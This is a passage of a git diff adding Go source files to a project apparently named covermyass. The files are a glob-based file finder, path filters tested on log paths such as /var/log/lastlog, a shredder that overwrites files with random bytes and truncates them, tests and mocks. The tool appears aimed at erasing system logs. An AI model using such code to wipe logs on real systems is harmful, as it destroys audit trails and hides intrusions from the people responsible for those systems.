if err != nil {
logrus.WithField("rule", rule).WithField("target", r).Error(err)
}
if ok {
return true
}
}
return false
}

59
lib/filter/filter_test.go Normal file
View File

@ -0,0 +1,59 @@
package filter
import (
"github.com/stretchr/testify/assert"
"testing"
)
func TestFilter(t *testing.T) {
testcases := []struct {
name string
rules []string
paths map[string]bool
}{
{
name: "test with simple patterns",
rules: []string{
"/var/*",
"/foo/**/*",
"/bar/foo/1.log",
},
paths: map[string]bool{
"/var/log/lastlog": false,
"/var/test.log": true,
"/var/fakefile": true,
"/db/logfile.log": false,
"/foo/bar/1/logfile.log": true,
"/bar/foo/1.log": true,
"/var/**/*.log": false,
},
},
{
name: "test patterns against patterns",
rules: []string{
"/var/*",
"/var/*/foo/**/*",
"/foo/**/*",
"/bar/foo/1.log",
},
paths: map[string]bool{
"/var/*.log": true,
"/var/**/*": false,
"/foo/*.log": true,
"/bar/foo/**/*.log": false,
},
},
}
for _, tt := range testcases {
t.Run(tt.name, func(t *testing.T) {
f := NewEngine()
err := f.AddRule(tt.rules...)
assert.NoError(t, err)
for path, shouldMatch := range tt.paths {
assert.Equal(t, shouldMatch, f.Match(path))
}
})
}
}

26
lib/find/fileinfo.go Normal file
View File

@ -0,0 +1,26 @@
package find
import (
"io/fs"
"os"
)
type FileInfo interface {
fs.FileInfo
Path() string
ReadOnly() bool
}
type fileInfo struct {
fs.FileInfo
path string
}
func (f *fileInfo) Path() string {
return f.path
}
func (f *fileInfo) ReadOnly() bool {
_, err := os.OpenFile(f.path, os.O_RDWR, 0666)
return err != nil
}

83
lib/find/finder.go Normal file
View File

@ -0,0 +1,83 @@
package find
import (
"context"
"fmt"
"github.com/bmatcuk/doublestar/v4"
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/lib/filter"
"io/fs"
"os"
"path/filepath"
"strings"
)
type Finder interface {
Run(context.Context, []string) ([]FileInfo, error)
}
type finder struct {
fs fs.FS
filter filter.Filter
}
func New(fsys fs.FS, filterEngine filter.Filter) Finder {
return &finder{
fs: fsys,
filter: filterEngine,
}
}
func (f *finder) Run(ctx context.Context, paths []string) ([]FileInfo, error) {
results := make([]FileInfo, 0)
for _, pattern := range paths {
if len(pattern) == 0 {
logrus.Warn("pattern skipped because it has length of 0")
continue
}
if !doublestar.ValidatePathPattern(pattern) {
return results, fmt.Errorf("pattern %s is not valid", pattern)
}
if f.filter.Match(pattern) {
logrus.WithField("pattern", pattern).Debug("pattern ignored by filter")
continue
}
var formattedPattern string
if strings.Split(pattern, "")[0] == string(os.PathSeparator) {
formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "")
}
// TODO(sundowndev): run this in a goroutine?
err := doublestar.GlobWalk(f.fs, filepath.ToSlash(formattedPattern), func(path string, d fs.DirEntry) error {
info, err := d.Info()
if err != nil {
return err
}
results = append(results, &fileInfo{
FileInfo: info,
path: fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path)),
})
return nil
})
if err != nil {
logrus.WithField("pattern", filepath.ToSlash(formattedPattern)).Error(err)
}
}
return f.removeDuplicates(results), nil
}
func (f *finder) removeDuplicates(results []FileInfo) []FileInfo {
resultsMap := make(map[string]FileInfo, 0)
for _, res := range results {
resultsMap[res.Path()] = res
}
resultsSlice := make([]FileInfo, 0)
for _, file := range resultsMap {
resultsSlice = append(resultsSlice, file)
}
return resultsSlice
}

7
lib/find/finder_test.go Normal file
View File

@ -0,0 +1,7 @@
package find
import "testing"
func TestFinder(t *testing.T) {
}

45
lib/output/printer.go Normal file
View File

@ -0,0 +1,45 @@
package output
import (
"fmt"
"os"
)
type Printer interface {
Printf(string, ...interface{})
Println(string)
}
var globalPrinter Printer = &VoidPrinter{}
func ChangePrinter(printer Printer) {
globalPrinter = printer
}
func Printf(format string, args ...interface{}) {
globalPrinter.Printf(format, args...)
}
func Println(format string) {
globalPrinter.Printf(format)
}
type ConsolePrinter struct{}
func NewConsolePrinter() Printer {
return &ConsolePrinter{}
}
func (c *ConsolePrinter) Printf(format string, args ...interface{}) {
_, _ = fmt.Fprintf(os.Stdout, format, args...)
}
func (c *ConsolePrinter) Println(format string) {
_, _ = fmt.Fprintln(os.Stdout, format)
}
type VoidPrinter struct{}
func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {}
func (v *VoidPrinter) Println(_ string) {}

111
lib/shred/shred.go Normal file
View File

@ -0,0 +1,111 @@
package shred
import (
"crypto/rand"
"fmt"
"io/fs"
"os"
"time"
)
// A FileInfo describes a file and is returned by Stat.
type FileInfo interface {
Name() string // base name of the file
Size() int64 // length in bytes for regular files; system-dependent for others
Mode() fs.FileMode // file mode bits
ModTime() time.Time // modification time
IsDir() bool // abbreviation for Mode().IsDir()
Sys() any // underlying data source (can return nil)
}
type File interface {
Seek(int64, int) (int64, error)
Sync() error
Write([]byte) (int, error)
Close() error
}
type ShredderOptions struct {
Zero bool
Iterations int
}
type Shredder struct {
options *ShredderOptions
}
func New(opts *ShredderOptions) *Shredder {
return &Shredder{opts}
}
func (s *Shredder) Write(pathName string) error {
// Stat the file for the file length
fstat, err := os.Stat(pathName)
if err != nil {
return fmt.Errorf("file stat failed: %w", err)
}
// Open the file
file, err := os.OpenFile(pathName, os.O_WRONLY, fstat.Mode())
if err != nil {
return fmt.Errorf("file opening failed: %w", err)
}
defer file.Close()
err = s.shred(fstat, file)
if err != nil {
return fmt.Errorf("shredding failed: %w", err)
}
if s.options.Zero {
if err := os.Truncate(pathName, 0); err != nil {
return fmt.Errorf("truncate failed: %w", err)
}
}
return nil
}
func (s *Shredder) shred(fstat FileInfo, file File) error {
fSize := fstat.Size()
// Avoid shredding if the file is already empty
if fSize == 0 {
return nil
}
// Write random bytes over the file 3 times
junkBuf := make([]byte, 1024)
for i := 0; i < s.options.Iterations; i++ {
_, err := file.Seek(0, 0)
if err != nil {
return err
}
for fSize = fstat.Size(); fSize > 1024; fSize -= 1024 {
// Load a buffer with random data
_, err = rand.Read(junkBuf)
if err != nil {
return err
}
// Write random bytes to file
_, err = file.Write(junkBuf)
if err != nil {
return err
}
}
_, err = rand.Read(junkBuf[:fSize])
if err != nil {
return err
}
_, err = file.Write(junkBuf[:fSize])
if err != nil {
return err
}
err = file.Sync()
if err != nil {
return err
}
}
return nil
}

130
lib/shred/shred_test.go Normal file
View File

@ -0,0 +1,130 @@
package shred
import (
"errors"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/mock"
"github.com/sundowndev/covermyass/v2/mocks"
"testing"
)
func TestShredder_Write(t *testing.T) {
cases := []struct {
name string
options ShredderOptions
input string
wantError error
}{
{
name: "test with non-existing file",
input: "testdata/fake.log",
wantError: errors.New("file stat failed: stat testdata/fake.log: no such file or directory"),
},
{
name: "test with non-file path",
input: "testdata/",
wantError: errors.New("file opening failed: open testdata/: is a directory"),
},
}
for _, tt := range cases {
t.Run(tt.name, func(t *testing.T) {
s := New(&tt.options)
err := s.Write(tt.input)
if tt.wantError == nil {
assert.NoError(t, err)
} else {
assert.EqualError(t, err, tt.wantError.Error())
}
})
}
}
func TestShredder_shred(t *testing.T) {
cases := []struct {
name string
options ShredderOptions
mocks func(*mocks.FileInfo, *mocks.File)
wantError error
}{
{
name: "test writing empty file",
options: ShredderOptions{
Zero: false,
Iterations: 3,
},
mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) {
fakeFileInfo.On("Size").Return(int64(0)).Times(1)
},
},
{
name: "test writing a 64 bytes file",
options: ShredderOptions{
Zero: false,
Iterations: 3,
},
mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) {
fakeFileInfo.On("Size").Return(int64(64)).Times(4)
fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(3)
fakeFile.On("Sync").Return(nil).Times(3)
fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool {
return len(b) != 0
})).Return(0, nil)
},
},
{
name: "test writing a 2Mb file with 10 iterations",
options: ShredderOptions{
Zero: false,
Iterations: 10,
},
mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) {
fakeFileInfo.On("Size").Return(int64(2000000)).Times(11)
fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(10)
fakeFile.On("Sync").Return(nil).Times(10)
fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool {
return len(b) != 0
})).Return(0, nil)
},
},
{
name: "test writing a 2Kb file with error",
options: ShredderOptions{
Zero: false,
Iterations: 3,
},
mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) {
fakeFileInfo.On("Size").Return(int64(2000)).Times(2)
fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(1)
fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool {
return len(b) != 0
})).Return(0, errors.New("dummy error"))
},
wantError: errors.New("dummy error"),
},
}
for _, tt := range cases {
t.Run(tt.name, func(t *testing.T) {
s := New(&tt.options)
fakeFileInfo := &mocks.FileInfo{}
fakeFile := &mocks.File{}
tt.mocks(fakeFileInfo, fakeFile)
err := s.shred(fakeFileInfo, fakeFile)
if tt.wantError == nil {
assert.NoError(t, err)
} else {
assert.EqualError(t, err, tt.wantError.Error())
}
fakeFileInfo.AssertExpectations(t)
fakeFile.AssertExpectations(t)
})
}
}

0
lib/shred/testdata/.gitkeep vendored Normal file
View File

36
logs/config.go Normal file
View File

@ -0,0 +1,36 @@
package logs
import (
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/build"
"os"
)
type Config struct {
Level logrus.Level
ReportCaller bool
}
func Init() {
config := getConfig()
logrus.SetLevel(config.Level)
logrus.SetReportCaller(config.ReportCaller)
}
func getConfig() Config {
config := Config{
Level: logrus.WarnLevel,
ReportCaller: false,
}
if !build.IsRelease() {
config.Level = logrus.DebugLevel
}
if lvl := os.Getenv("LOG_LEVEL"); lvl != "" {
loglevel, _ := logrus.ParseLevel(lvl)
config.Level = loglevel
}
return config
}

25
main.go Normal file
View File

@ -0,0 +1,25 @@
package main
import (
"fmt"
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/build"
"github.com/sundowndev/covermyass/v2/cmd"
"log"
"runtime"
"github.com/sundowndev/covermyass/v2/logs"
)
func main() {
logs.Init()
logrus.WithFields(logrus.Fields{
"is_release": fmt.Sprintf("%t", build.IsRelease()),
"version": build.Name(),
"go_version": runtime.Version(),
}).Debug("Build info")
if err := cmd.NewRootCmd().Execute(); err != nil {
log.Fatal(err)
}
}

95
mocks/File.go Normal file
View File

@ -0,0 +1,95 @@
// Code generated by mockery v2.14.0. DO NOT EDIT.
package mocks
import mock "github.com/stretchr/testify/mock"
// File is an autogenerated mock type for the File type
type File struct {
mock.Mock
}
// Close provides a mock function with given fields:
func (_m *File) Close() error {
ret := _m.Called()
var r0 error
if rf, ok := ret.Get(0).(func() error); ok {
r0 = rf()
} else {
r0 = ret.Error(0)
}
return r0
}
// Seek provides a mock function with given fields: _a0, _a1
func (_m *File) Seek(_a0 int64, _a1 int) (int64, error) {
ret := _m.Called(_a0, _a1)
var r0 int64
if rf, ok := ret.Get(0).(func(int64, int) int64); ok {
r0 = rf(_a0, _a1)
} else {
r0 = ret.Get(0).(int64)
}
var r1 error
if rf, ok := ret.Get(1).(func(int64, int) error); ok {
r1 = rf(_a0, _a1)
} else {
r1 = ret.Error(1)
}
return r0, r1
}
// Sync provides a mock function with given fields:
func (_m *File) Sync() error {
ret := _m.Called()
var r0 error
if rf, ok := ret.Get(0).(func() error); ok {
r0 = rf()
} else {
r0 = ret.Error(0)
}
return r0
}
// Write provides a mock function with given fields: _a0
func (_m *File) Write(_a0 []byte) (int, error) {
ret := _m.Called(_a0)
var r0 int
if rf, ok := ret.Get(0).(func([]byte) int); ok {
r0 = rf(_a0)
} else {
r0 = ret.Get(0).(int)
}
var r1 error
if rf, ok := ret.Get(1).(func([]byte) error); ok {
r1 = rf(_a0)
} else {
r1 = ret.Error(1)
}
return r0, r1
}
type mockConstructorTestingTNewFile interface {
mock.TestingT
Cleanup(func())
}
// NewFile creates a new instance of File. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
func NewFile(t mockConstructorTestingTNewFile) *File {
mock := &File{}
mock.Mock.Test(t)
t.Cleanup(func() { mock.AssertExpectations(t) })
return mock
}

117
mocks/FileInfo.go Normal file
View File

@ -0,0 +1,117 @@
// Code generated by mockery v2.14.0. DO NOT EDIT.
package mocks
import (
fs "io/fs"
mock "github.com/stretchr/testify/mock"
time "time"
)
// FileInfo is an autogenerated mock type for the FileInfo type
type FileInfo struct {
mock.Mock
}
// IsDir provides a mock function with given fields:
func (_m *FileInfo) IsDir() bool {
ret := _m.Called()
var r0 bool
if rf, ok := ret.Get(0).(func() bool); ok {
r0 = rf()
} else {
r0 = ret.Get(0).(bool)
}
return r0
}
// ModTime provides a mock function with given fields:
func (_m *FileInfo) ModTime() time.Time {
ret := _m.Called()
var r0 time.Time
if rf, ok := ret.Get(0).(func() time.Time); ok {
r0 = rf()
} else {
r0 = ret.Get(0).(time.Time)
}
return r0
}
// Mode provides a mock function with given fields:
func (_m *FileInfo) Mode() fs.FileMode {
ret := _m.Called()
var r0 fs.FileMode
if rf, ok := ret.Get(0).(func() fs.FileMode); ok {
r0 = rf()
} else {
r0 = ret.Get(0).(fs.FileMode)
}
return r0
}
// Name provides a mock function with given fields:
func (_m *FileInfo) Name() string {
ret := _m.Called()
var r0 string
if rf, ok := ret.Get(0).(func() string); ok {
r0 = rf()
} else {
r0 = ret.Get(0).(string)
}
return r0
}
// Size provides a mock function with given fields:
func (_m *FileInfo) Size() int64 {
ret := _m.Called()
var r0 int64
if rf, ok := ret.Get(0).(func() int64); ok {
r0 = rf()
} else {
r0 = ret.Get(0).(int64)
}
return r0
}
// Sys provides a mock function with given fields:
func (_m *FileInfo) Sys() interface{} {
ret := _m.Called()
var r0 interface{}
if rf, ok := ret.Get(0).(func() interface{}); ok {
r0 = rf()
} else {
if ret.Get(0) != nil {
r0 = ret.Get(0).(interface{})
}
}
return r0
}
type mockConstructorTestingTNewFileInfo interface {
mock.TestingT
Cleanup(func())
}
// NewFileInfo creates a new instance of FileInfo. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
func NewFileInfo(t mockConstructorTestingTNewFileInfo) *FileInfo {
mock := &FileInfo{}
mock.Mock.Test(t)
t.Cleanup(func() { mock.AssertExpectations(t) })
return mock
}